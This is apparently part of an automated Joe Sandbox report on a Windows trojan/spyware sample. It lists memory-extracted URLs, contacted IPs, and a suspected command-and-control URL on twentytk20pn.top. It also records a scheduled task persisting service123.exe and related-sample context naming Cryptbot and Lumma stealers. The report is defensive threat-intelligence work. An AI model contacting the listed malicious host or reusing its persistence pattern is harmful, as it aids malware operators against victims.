https://anglebug.com/7489	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/presentation/	chrome.exe, 00000003.00000002.1811856185.00004E84001C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/?q=	chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore	chrome.exe, 00000003.00000003.1787012100.00004E84004C0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-2.corp.google.com/	chrome.exe, 00000003.00000003.1787012100.00004E84004C0000.00000004.00000800.00020000.00000000.sdmp	false	high
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000003.00000003.1796969323.00004E84010F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798456925.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1796859297.00004E84010E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797094252.00004E8401110000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798401665.00004E8400494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798776209.00004E84003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798533276.00004E8401060000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798431881.00004E84006E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797024896.00004E8401020000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797003039.00004E8401144000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1812616628.00004E84002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798961703.00004E840120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1799059522.00004E840126C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798877963.00004E8400FB8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000003.00000002.1824473314.00004E8400CAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1792308045.00004E8400CAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1794217377.00004E8400CAC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/161903006	chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-1.corp.google.com/	chrome.exe, 00000003.00000003.1787012100.00004E84004C0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.youtube.com/	chrome.exe, 00000003.00000002.1821389497.00004E8400644000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-5.corp.google.com/	chrome.exe, 00000003.00000003.1787012100.00004E84004C0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.ico	chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000003.00000002.1814096992.00004E8400514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822172698.00004E8400794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1827107587.00004E8401090000.00000004.00000800.00020000.00000000.sdmp	false	high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000003.00000002.1824603599.00004E8400CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822343271.00004E84007E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1813208284.00004E840041C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/spreadsheets/	chrome.exe, 00000003.00000002.1821534078.00004E84006A8000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3078	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7553	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/5375	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://httpbin.org/ipbefore	NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	false	high
http://anglebug.com/5371	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/4722	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000003.00000003.1785963942.00004E84001C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1811856185.00004E84001C4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://developer.chrome.com/extensions/external_extensions.html)	chrome.exe, 00000003.00000002.1821389497.00004E8400644000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000003.00000002.1814096992.00004E8400514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822172698.00004E8400794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1827107587.00004E8401090000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7556	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-4.c	chrome.exe, 00000003.00000002.1812766416.00004E840032C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chromewebstore.google.com/	chrome.exe, 00000003.00000002.1810702140.00004E840001C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-preprod.corp.google.com/	chrome.exe, 00000003.00000003.1787012100.00004E84004C0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://clients4.google.com/chrome-sync	chrome.exe, 00000003.00000002.1811856185.00004E84001C4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://html4/loose.dtd	NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	false	high
http://anglebug.com/6692	chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/258207403	chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3502	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3623	chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3625	chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3624	chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/presentation/J	chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/5007	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/drive/installwebapp?usp=chrome_default	chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1813982277.00004E84004E4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3862	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000003.00000003.1792121015.00004E8400D80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1792054115.00004E8400494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1795298978.00004E8400D80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1794089111.00004E8400D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1795346728.00004E8400D70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1800011649.00004E8400D70000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/search?q=&addon=opensearch	chrome.exe, 00000003.00000002.1824473314.00004E8400CAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1792308045.00004E8400CAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1794217377.00004E8400CAC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/4836	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1794217377.00004E8400CAC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://.css	NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/presentation/:	chrome.exe, 00000003.00000002.1814209114.00004E8400562000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/4384	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3970	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW	chrome.exe, 00000003.00000002.1826943024.00004E840101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822343271.00004E84007E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1813208284.00004E840041C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs	chrome.exe, 00000003.00000002.1823016612.00004E84008F8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://policies.google.com/	chrome.exe, 00000003.00000002.1823397104.00004E84009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1796459871.00004E8400FB8000.00000004.00000800.00020000.00000000.sdmp	false	high
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322	NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	false	high
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000003.00000003.1796969323.00004E84010F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798456925.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1796859297.00004E84010E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797094252.00004E8401110000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798401665.00004E8400494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798776209.00004E84003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798533276.00004E8401060000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798431881.00004E84006E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797024896.00004E8401020000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1797003039.00004E8401144000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1812616628.00004E84002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798961703.00004E840120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1799059522.00004E840126C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798877963.00004E8400FB8000.00000004.00000800.00020000.00000000.sdmp	false	high
http://.jpg	NVkyG9HAeY.exe, 00000000.00000003.1346506903.0000000007B1F000.00000004.00001000.00020000.00000000.sdmp	false	high
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000003.00000003.1783332670.0000434C0071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1783472398.0000434C00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1810535410.0000434C00974000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7604	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7761	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7760	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-5.corp.go	chrome.exe, 00000003.00000002.1812766416.00004E840032C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	chrome.exe, 00000003.00000002.1814096992.00004E8400514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824235655.00004E8400C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1822172698.00004E8400794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1815249629.00004E84005E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824555103.00004E8400CC8000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/5901	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3965	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/6439	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7406	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7161	chrome.exe, 00000003.00000003.1790985768.00004E84007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790249534.00004E8400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1824432713.00004E8400C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790937350.00004E8400390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-autopush.corp.google.com/	chrome.exe, 00000003.00000003.1787012100.00004E84004C0000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
98.85.100.80	httpbin.org	United States	11351	TWC-11351-NORTHEASTUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
194.87.47.113	home.twentytk20pn.top	Russian Federation	49392	ASBAXETNRU	false
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578039
Start date and time:	2024-12-19 07:59:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	NVkyG9HAeY.exe renamed because original name is a hash value
Original Sample Name:	60cb08aff943753c526cf73fd6007489.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@21/7@17/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 14 Number of non-executed functions: 198
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 64.233.164.84, 172.217.21.35, 172.217.17.78, 20.42.65.92, 13.107.246.63, 52.149.20.212, 184.28.90.27, 20.190.177.23
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:01:12	API Interceptor	2276429x Sleep call for process: NVkyG9HAeY.exe modified
02:03:16	API Interceptor	1x Sleep call for process: WerFault.exe modified
02:03:21	API Interceptor	5035021x Sleep call for process: service123.exe modified
07:02:48	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
98.85.100.80	W6seF0MjGW.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	f1842FwKth.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	aweqG2ssAY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	vH7JfdNi3c.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	U6mwWZlkzH.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	KzLv0EXDs1.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	0254xoMBbu.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	JiZQEd33mn.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse
239.255.255.250	W6seF0MjGW.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse
	Tbconsulting Company Guidelines Employee Handbook.docx	Get hash	malicious	Unknown	Browse
	https://pdf.ac/4lLzbt	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9Uby5lZW1qaGl1bHoucnUvek83UkZORy8=	Get hash	malicious	Unknown	Browse
	doc55334.html	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse
	vRecord__0064secs__warriorsheart.com.html	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
twentytk20pn.top	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.185.71.170
	aweqG2ssAY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	EnoSY3z6MP.exe	Get hash	malicious	Cryptbot	Browse	185.185.71.170
	vH7JfdNi3c.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	JiZQEd33mn.exe	Get hash	malicious	Unknown	Browse	185.185.71.170
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.185.71.170
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	185.185.71.170
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.185.71.170
	random.exe.7.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.185.71.170
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.185.71.170
s-part-0035.t-0009.t-msedge.net	SEPTobn3BR.exe	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.246.63
	Brooming.vbs	Get hash	malicious	Remcos, GuLoader	Browse	13.107.246.63
	Gosjeufon.cpl.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	13.107.246.63
	doc55334.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	13.107.246.63
	s4PymYGgSh.lnk	Get hash	malicious	Unknown	Browse	13.107.246.63
	http://mee6.xyz	Get hash	malicious	Unknown	Browse	13.107.246.63
